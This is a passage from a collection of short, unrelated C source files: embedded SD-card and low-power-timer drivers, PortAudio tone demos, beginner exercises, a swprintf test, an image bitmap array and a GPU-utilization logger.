}; static int32_t sdcard_sdio_0_diskio_initialize(void) { sdcard_sdio0.host = (void *)sdio_get_dev(SDCARD_SDIO_ID); return sdcard_sdio_diskio_initialize(&sdcard_sdio_0_diskio); } static int32_t sdcard_sdio_0_diskio_status(void) { return sdcard_sdio_diskio_status(&sdcard_sdio_0_diskio); } static int32_t sdcard_sdio_0_diskio_read(void *buf, uint32_t sector, uint32_t count) { return sdcard_sdio_diskio_read(&sdcard_sdio_0_diskio, buf, sector, count); } static int32_t sdcard_sdio_0_diskio_write(const void *buf, uint32_t sector, uint32_t count) { return sdcard_sdio_diskio_write(&sdcard_sdio_0_diskio, buf, sector, count); } static int32_t sdcard_sdio_0_diskio_ioctl(uint32_t cmd, void *buf) { return sdcard_sdio_diskio_ioctl(&sdcard_sdio_0_diskio, cmd, buf); } static void sdcard_sdio_0_diskio_timerproc(void) { return; } FATFS_DISKIO sdcard_sdio_0_diskio = { (void *) &sdcard_sdio0, sdcard_sdio_0_diskio_initialize, sdcard_sdio_0_diskio_status, sdcard_sdio_0_diskio_read, sdcard_sdio_0_diskio_write, sdcard_sdio_0_diskio_ioctl, sdcard_sdio_0_diskio_timerproc }; #endif /* USE_IOTDK_SDCARD_SDIO_0 */ #endif /* MID_FATFS */
the_stack_data/53244.c
// // chp2.c // chp2-FirstProgram // // Created by @HKuz on 2/2/17 // Exercises from Chapter 2: Compiling and Running Your First Program // #include <stdio.h> // Function Prototypes int printStmts(void); int testingOutput(void); int subtract(void); int correctedProg(void); int checkOutput(void); int main(void) { // Execution of exercise functions // Exercise 2.02 printf("---------------\n"); printf("Exercise 2.02\n\n"); printStmts(); printf("\n\n"); // Exercise 2.03 printf("---------------\n"); printf("Exercise 2.03\n\n"); testingOutput(); printf("\n\n"); // Exercise 2.04 printf("---------------\n"); printf("Exercise 2.04\n\n"); subtract(); printf("\n\n"); // Exercise 2.05 printf("---------------\n"); printf("Exercise 2.05\n\n"); correctedProg(); printf("\n\n"); // Exercise 2.06 printf("---------------\n"); printf("Exercise 2.06\n\n"); checkOutput(); printf("\n\n"); printf("---------------\n"); return 0; } int printStmts(void) { // Prints series of requested statments printf("In C, lowercase letters are significant.\n"); printf("main() is where program execution begins.\n"); printf("Opening and closing braces enclose program statements in a routine.\n"); printf("All program statements must be terminated by a semicolon.\n"); return 0; } int testingOutput(void) { // Runs given program to test expected output printf("Testing..."); printf("....1"); printf("...2"); printf("..3"); printf("\n"); return 0; } int subtract(void) { // Program to subtract 15 from 87 and print results int val1, val2, result; val1 = 87; val2 = 15; result = val1 - val2; printf("The difference between %i and %i is %i\n", val1, val2, result); return 0; } int correctedProg(void) { // Fixes the errors in given program int sum; /* COMPUTE RESULT */ sum = 25 + 37 -19; /* DISPLAY RESULTS */ printf("The answer is %i\n", sum); return 0; } int checkOutput(void) { // Checks output from given program int answer, result; answer = 100; result = answer - 10; printf("The result is %i\n", result + 5); return 0; } /* To compile and run with GNU compiler: Compile on terminal with command: gcc <filename.c> Execute on terminal with command: ./a.out */
the_stack_data/179830447.c
#include <stdio.h> #include <math.h> #include "portaudio.h" #include <stdint.h> #include <unistd.h> // for usleep() #define SAMPLE_RATE (44100) #define FRAMES_PER_BUFFER (64) typedef struct { uint32_t total_count; uint32_t up_count; uint32_t counter; uint32_t prev_freq; uint32_t freq; } paTestData; //volatile int freq = 0; /* This routine will be called by the PortAudio engine when audio is needed. ** It may called at interrupt level on some machines so don't do anything ** that could mess up the system like calling malloc() or free(). */ static int patestCallback( const void *inputBuffer, void *outputBuffer, unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo* timeInfo, PaStreamCallbackFlags statusFlags, void *userData ) { paTestData *data = (paTestData*)userData; uint8_t *out = (uint8_t*)outputBuffer; unsigned long i; uint32_t freq = data->freq; (void) timeInfo; /* Prevent unused variable warnings. */ (void) statusFlags; (void) inputBuffer; for( i=0; i<framesPerBuffer; i++ ) { if(data->up_count > 0 && data->total_count == data->up_count) { *out++ = 0x00; continue; } data->total_count++; if(freq != data->prev_freq) { data->counter = 0; } if(freq) { int overflow_max = SAMPLE_RATE / freq; uint32_t data_cnt = data->counter % overflow_max; if(data_cnt > overflow_max/2) *out++ = 0xff; else { *out++ = 0x00; } data->counter++; } else { data->counter = 0; *out++ = 0; } data->prev_freq = freq; } return paContinue; } static PaStream *stream; static paTestData data; void buzzer_set_freq(int frequency) { data.up_count = 0; // do not stop! data.freq = frequency; } void buzzer_beep(int frequency, int msecs) { data.total_count = 0; data.up_count = SAMPLE_RATE * msecs / 1000; data.freq = frequency; } int buzzer_start(void) { PaStreamParameters outputParameters; PaError err; int i; err = Pa_Initialize(); if( err != paNoError ) goto error; outputParameters.device = Pa_GetDefaultOutputDevice(); /* default output device */ outputParameters.channelCount = 1; /* stereo output */ outputParameters.sampleFormat = paUInt8; /* 32 bit floating point output */ outputParameters.suggestedLatency = Pa_GetDeviceInfo( outputParameters.device )->defaultLowOutputLatency; outputParameters.hostApiSpecificStreamInfo = NULL; err = Pa_OpenStream( &stream, NULL, /* no input */ &outputParameters, SAMPLE_RATE, FRAMES_PER_BUFFER, paClipOff, /* we won't output out of range samples so don't bother clipping them */ patestCallback, &data ); if( err != paNoError ) goto error; err = Pa_StartStream( stream ); if( err != paNoError ) goto error; return err; error: Pa_Terminate(); fprintf( stderr, "An error occured while using the portaudio stream\n" ); fprintf( stderr, "Error number: %d\n", err ); fprintf( stderr, "Error message: %s\n", Pa_GetErrorText( err ) ); return err; } int buzzer_stop() { PaError err = 0; err = Pa_StopStream( stream ); if( err != paNoError ) goto error; err = Pa_CloseStream( stream ); if( err != paNoError ) goto error; Pa_Terminate(); return err; error: Pa_Terminate(); fprintf( stderr, "An error occured while using the portaudio stream\n" ); fprintf( stderr, "Error number: %d\n", err ); fprintf( stderr, "Error message: %s\n", Pa_GetErrorText( err ) ); return err; } void msleep(int d){ usleep(d*1000); } int main(void) { // notes frequency chart: http://www.phy.mtu.edu/~suits/notefreqs.html buzzer_start(); buzzer_set_freq(261); msleep(250); buzzer_set_freq(293); msleep(250); buzzer_set_freq(329); msleep(250); buzzer_set_freq(349); msleep(250); buzzer_set_freq(392); msleep(250); buzzer_set_freq(440); msleep(250); buzzer_set_freq(494); msleep(250); buzzer_beep(523, 200); msleep(250); buzzer_stop(); return 0; }
the_stack_data/74502.c
#include <stdio.h> void scilab_rt_hist3d_i2i0d0_(int in00, int in01, int matrixin0[in00][in01], int scalarin0, double scalarin1) { int i; int j; int val0 = 0; for (i = 0; i < in00; ++i) { for (j = 0; j < in01; ++j) { val0 += matrixin0[i][j]; } } printf("%d", val0); printf("%d", scalarin0); printf("%f", scalarin1); }
the_stack_data/132952906.c
// asctime_ex.c : asctime() example // ------------------------------------------------------------- #include <time.h> // char *asctime( struct tm *systime ); #include <stdio.h> int main() { time_t now; time( &now ); /* Get the time (seconds since 1/1/70) */ printf( "Date: %.24s GMT\n", asctime( gmtime( &now ) )); return 0; }
the_stack_data/734941.c
// Copyright 2016 The Fuchsia Authors // Copyright (c) 2008 Travis Geiselbrecht // // Use of this source code is governed by a MIT-style // license that can be found in the LICENSE file or at // https://opensource.org/licenses/MIT #include <string.h> char *strchr(const char *s, int c) { for (; *s != (char)c; ++s) if (*s == '\0') return NULL; return (char *)s; }
the_stack_data/145531.c
#include <stdio.h> #include <math.h> #include "portaudio.h" #define AMPLITUDE_PERCENT (0.25) #define NUM_SECONDS (5) #define SAMPLE_RATE (44100) #define FRAMES_PER_BUFFER (64) #ifndef M_PI #define M_PI (3.14159265) #endif #define TABLE_SIZE (200) typedef struct { float sine[TABLE_SIZE]; int left_phase; int right_phase; } paTestData; /* This routine will be called by the PortAudio engine when audio is needed. ** It may called at interrupt level on some machines so don't do anything ** that could mess up the system like calling malloc() or free(). */ static int patestCallback( const void *inputBuffer, void *outputBuffer, unsigned long framesPerBuffer, const PaStreamCallbackTimeInfo* timeInfo, PaStreamCallbackFlags statusFlags, void *userData ) { paTestData *data = (paTestData*)userData; float *out = (float*)outputBuffer; unsigned long i; (void) timeInfo; /* Prevent unused variable warnings. */ (void) statusFlags; (void) inputBuffer; for( i=0; i<framesPerBuffer; i++ ) { *out++ = data->sine[data->left_phase] * AMPLITUDE_PERCENT; /* left */ *out++ = data->sine[data->right_phase] * AMPLITUDE_PERCENT; /* right */ data->left_phase += 1; if( data->left_phase >= TABLE_SIZE ) data->left_phase -= TABLE_SIZE; data->right_phase += 1; if( data->right_phase >= TABLE_SIZE ) data->right_phase -= TABLE_SIZE; } return paContinue; } /* * This routine is called by portaudio when playback is done. */ static void StreamFinished( void* userData ) { // you could do something with the data if you want paTestData *data = (paTestData *) userData; printf("Stream finished, data is at pointer %p\n", data); } int main(void) { PaStreamParameters outputParameters; PaStream *stream; PaError err; paTestData data; int i; printf("PortAudio Test: output sine wave. SR = %d, BufSize = %d\n", SAMPLE_RATE, FRAMES_PER_BUFFER); /* initialise sinusoidal wavetable */ for( i=0; i<TABLE_SIZE; i++ ) { data.sine[i] = (float) sin( ((double)i/(double)TABLE_SIZE) * M_PI * 2. ); } data.left_phase = data.right_phase = 0; err = Pa_Initialize(); if( err != paNoError ) goto error; outputParameters.device = Pa_GetDefaultOutputDevice(); /* default output device */ if (outputParameters.device == paNoDevice) { fprintf(stderr,"Error: No default output device.\n"); goto error; } outputParameters.channelCount = 2; /* stereo output */ outputParameters.sampleFormat = paFloat32; /* 32 bit floating point output */ outputParameters.suggestedLatency = Pa_GetDeviceInfo( outputParameters.device )->defaultLowOutputLatency; outputParameters.hostApiSpecificStreamInfo = NULL; err = Pa_OpenStream( &stream, NULL, /* no input */ &outputParameters, SAMPLE_RATE, FRAMES_PER_BUFFER, paClipOff, /* we won't output out of range samples so don't bother clipping them */ patestCallback, &data ); if( err != paNoError ) goto error; err = Pa_SetStreamFinishedCallback( stream, &StreamFinished ); if( err != paNoError ) goto error; err = Pa_StartStream( stream ); if( err != paNoError ) goto error; for (int s = 0; s < NUM_SECONDS; s++) { printf("Playing for %d seconds...\n", NUM_SECONDS - s ); Pa_Sleep( 1000 ); } err = Pa_StopStream( stream ); if( err != paNoError ) goto error; err = Pa_CloseStream( stream ); if( err != paNoError ) goto error; Pa_Terminate(); printf("Test finished.\n"); return err; error: Pa_Terminate(); fprintf( stderr, "An error occurred while using the portaudio stream\n" ); fprintf( stderr, "Error number: %d\n", err ); fprintf( stderr, "Error message: %s\n", Pa_GetErrorText( err ) ); return err; }
the_stack_data/959598.c
#include <stdio.h> int main(void) { int vet[5] = {10, 19, 26, 27, 30}; int i = 0; for (i = 0; i < 5; i++) { printf("Valor [i]= %d\n", vet[i]); } return 0; }
the_stack_data/1254009.c
#include <stdio.h> #include <wchar.h> #include <sys/types.h> static wchar_t buf[100]; #define nbuf (sizeof (buf) / sizeof (buf[0])) static const struct { size_t n; const char *str; ssize_t exp; } tests[] = { { nbuf, "hello world", 11 }, { 0, "hello world", -1 }, { 0, "", -1 }, { nbuf, "", 0 } }; int main(int argc, char *argv[]) { size_t n; int result = 0; puts("test 1"); n = swprintf(buf, nbuf,L"Hello %s" , "world"); if (n != 11) { printf ("incorrect return value: %zd instead of 11\n", n); result = 1; } else if (wcscmp(buf, L"Hello world") != 0) { printf("incorrect string: L\"%ls\" instead of L\"Hello world\"\n", buf); result = 1; } puts ("test 2"); n = swprintf(buf, nbuf, L"Is this >%g< 3.1?", 3.1); if (n != 18) { printf("incorrect return value: %zd instead of 18\n", n); result = 1; } else if (wcscmp (buf, L"Is this >3.1< 3.1?") != 0) { printf("incorrect string: L\"%ls\" instead of L\"Is this >3.1< 3.1?\"\n", buf); result = 1; } for (n = 0; n < sizeof(tests) / sizeof(tests[0]); ++n) { ssize_t res = swprintf(buf, tests[n].n, L"%s", tests[n].str); if (tests[n].exp < 0 && res >= 0) { printf("swprintf (buf, %Zu, L\"%%s\", \"%s\") expected to fail\n", tests[n].n, tests[n].str); result = 1; } else if (tests[n].exp >= 0 && tests[n].exp != res) { printf("swprintf (buf, %Zu, L\"%%s\", \"%s\") expected to return %Zd, but got %Zd\n", tests[n].n, tests[n].str, tests[n].exp, res); result = 1; } else { printf("swprintf (buf, %Zu, L\"%%s\", \"%s\") OK\n", tests[n].n, tests[n].str); } } if (swprintf(buf, nbuf, L"%.0s", "foo") != 0 || wcslen(buf) != 0) { printf("swprintf (buf, %Zu, L\"%%.0s\", \"foo\") create some output\n", nbuf); result = 1; } if (swprintf(buf, nbuf, L"%.0ls", L"foo") != 0 || wcslen(buf) != 0) { printf("swprintf (buf, %Zu, L\"%%.0ls\", L\"foo\") create some output\n", nbuf); result = 1; } return result; }
the_stack_data/225144207.c
const char btred_map[] = { /*Pixel format: Blue: 5 bit, Green: 6 bit, Red: 5 bit*/ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xc1, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0xca, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xc8, 0xc9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0x08, 0xca, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xc9, 0xc9, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0x35, 0xe5, 0x08, 0xca, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0x00, 0x00, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xfc, 0xfe, 0x55, 0xed, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xfc, 0xfe, 0xff, 0xff, 0x72, 0xdc, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xfc, 0xfe, 0xbf, 0xff, 0xff, 0xff, 0x8e, 0xdb, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xfc, 0xfe, 0x76, 0xed, 0x39, 0xf6, 0xbf, 0xff, 0xec, 0xd2, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0x8b, 0xca, 0x51, 0xdc, 0xe8, 0xc9, 0xe8, 0xc9, 0xfc, 0xfe, 0x55, 0xed, 0x49, 0xca, 0xfc, 0xfe, 0x3d, 0xff, 0x6a, 0xca, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xd3, 0xe4, 0xff, 0xff, 0x72, 0xe4, 0xe8, 0xc9, 0xfc, 0xfe, 0x55, 0xed, 0xe8, 0xc9, 0x55, 0xed, 0xff, 0xff, 0x51, 0xdc, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0x35, 0xe5, 0xff, 0xff, 0x72, 0xdc, 0xfc, 0xfe, 0x55, 0xed, 0xd3, 0xe4, 0xff, 0xff, 0xf4, 0xe4, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0x96, 0xed, 0xff, 0xff, 0xdf, 0xff, 0x7d, 0xff, 0xff, 0xff, 0xf4, 0xe4, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xb7, 0xed, 0xff, 0xff, 0xff, 0xff, 0xf4, 0xe4, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xf4, 0xe4, 0xff, 0xff, 0xff, 0xff, 0xf0, 0xdb, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xf4, 0xe4, 0xff, 0xff, 0xff, 0xff, 0xdf, 0xff, 0xdf, 0xff, 0xcf, 0xdb, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xd3, 0xe4, 0xff, 0xff, 0xf4, 0xe4, 0xfc, 0xfe, 0x76, 0xed, 0xf8, 0xed, 0xdf, 0xff, 0xaf, 0xdb, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0x92, 0xe4, 0xff, 0xff, 0xf4, 0xe4, 0xe8, 0xc9, 0xfc, 0xfe, 0x55, 0xed, 0x08, 0xca, 0x39, 0xf6, 0xdf, 0xff, 0x6e, 0xd3, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xcb, 0xd2, 0x92, 0xe4, 0xe8, 0xc9, 0xe8, 0xc9, 0xfc, 0xfe, 0x55, 0xed, 0xe8, 0xc9, 0xb7, 0xed, 0xdf, 0xff, 0x2d, 0xd3, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xfc, 0xfe, 0x55, 0xed, 0x92, 0xe4, 0xff, 0xff, 0x51, 0xdc, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xfc, 0xfe, 0xdb, 0xf6, 0xff, 0xff, 0x55, 0xed, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xfc, 0xfe, 0xff, 0xff, 0x7a, 0xf6, 0x08, 0xca, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc1, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xfc, 0xfe, 0x3d, 0xff, 0x6a, 0xca, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0x08, 0xc2, 0x00, 0x00, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xba, 0xf6, 0x0c, 0xd3, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0x00, 0x00, 0x00, 0x00, 0xc9, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0x0c, 0xd3, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xc9, 0xc9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0xe8, 0xc9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; /* const lv_img_dsc_t img_btred = { .header.always_zero = 0, .header.w = 20, .header.h = 26, .data_size = 520 * LV_COLOR_SIZE / 8, .header.cf = LV_IMG_CF_TRUE_COLOR, .data = img_btred_map, }; */
the_stack_data/182731.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdbool.h> #include <sys/time.h> #include <unistd.h> #include <signal.h> FILE* fp_gpu=NULL; void signalHandler(int signo); double get_time(){ struct timeval tv; gettimeofday(&tv,NULL); return (double)tv.tv_sec+(double)1e-6*tv.tv_usec; } long double getGpuUtil() { long double gpuUtil; FILE *fp; fp = fopen("/sys/kernel/debug/mali0/gpu_utilization", "r"); fscanf(fp, "%*s %*s %Lf", &gpuUtil); fclose(fp); usleep(11000); return gpuUtil; } int main(){ signal(SIGKILL,(void*)signalHandler); while(true){ fp_gpu=fopen("gpuUtil.log","a+"); fprintf(fp_gpu,"%f,%.1Lf\n",get_time(),getGpuUtil()); fclose(fp_gpu); } return 0; } void signalHandler(int signo){ fclose(fp_gpu); printf("getGpuUtil killed\n"); exit(0); }
the_stack_data/26700527.c
#include <stdlib.h> #include <stdio.h> #define BREAK_LINE puts(""); #define array_len(arr) (sizeof(arr) / sizeof((*arr))) void reverse(int *arr, int size_arr) { for (int index = 0; index < size_arr / 2; index++) { int lower = arr[index]; int upper = size_arr - index - 1; arr[index] = arr[upper]; arr[upper] = lower; } } void show(const int *arr, int size_arr) { for (int index = 0; index < size_arr; index++) { printf("%d ", arr[index]); } } int main(int argc, char const *argv[]) { int arr[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 0}; int size_arr = array_len(arr); show(arr, size_arr); BREAK_LINE reverse(arr, size_arr); show(arr, size_arr); BREAK_LINE return EXIT_SUCCESS; }
the_stack_data/165769563.c
/* mbed Microcontroller Library ******************************************************************************* * Copyright (c) 2018, STMicroelectronics * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ******************************************************************************* */ #if DEVICE_LPTICKER /***********************************************************************/ /* lpticker_lptim config is 1 in json config file */ /* LPTICKER is based on LPTIM feature from ST drivers. RTC is not used */ #if MBED_CONF_TARGET_LPTICKER_LPTIM #include "lp_ticker_api.h" #include "mbed_error.h" #include "mbed_power_mgmt.h" #include "platform/mbed_critical.h" #include <stdbool.h> /* lpticker delay is for using C++ Low Power Ticker wrapper, * which introduces extra delays. We rather want to use the * low level implementation from this file */ #if defined(LPTICKER_DELAY_TICKS) && (LPTICKER_DELAY_TICKS > 0) #warning "lpticker_delay_ticks usage not recommended" #endif #define LP_TIMER_WRAP(val) (val & 0xFFFF) /* Safe guard is the number of ticks between the current tick and the next * tick we want to program an interrupt for. Programing an interrupt in * between is unreliable */ #define LP_TIMER_SAFE_GUARD 5 LPTIM_HandleTypeDef LptimHandle; const ticker_info_t *lp_ticker_get_info() { static const ticker_info_t info = { #if MBED_CONF_TARGET_LSE_AVAILABLE LSE_VALUE / MBED_CONF_TARGET_LPTICKER_LPTIM_CLOCK, #else LSI_VALUE / MBED_CONF_TARGET_LPTICKER_LPTIM_CLOCK, #endif 16 }; return &info; } volatile uint8_t lp_Fired = 0; /* Flag and stored counter to handle delayed programing at low level */ volatile bool lp_delayed_prog = false; volatile bool future_event_flag = false; volatile bool roll_over_flag = false; volatile bool lp_cmpok = false; volatile timestamp_t lp_delayed_counter = 0; volatile bool sleep_manager_locked = false; static int LPTICKER_inited = 0; static void LPTIM1_IRQHandler(void); void lp_ticker_init(void) { /* Check if LPTIM is already configured */ if (LPTICKER_inited) { lp_ticker_disable_interrupt(); return; } LPTICKER_inited = 1; 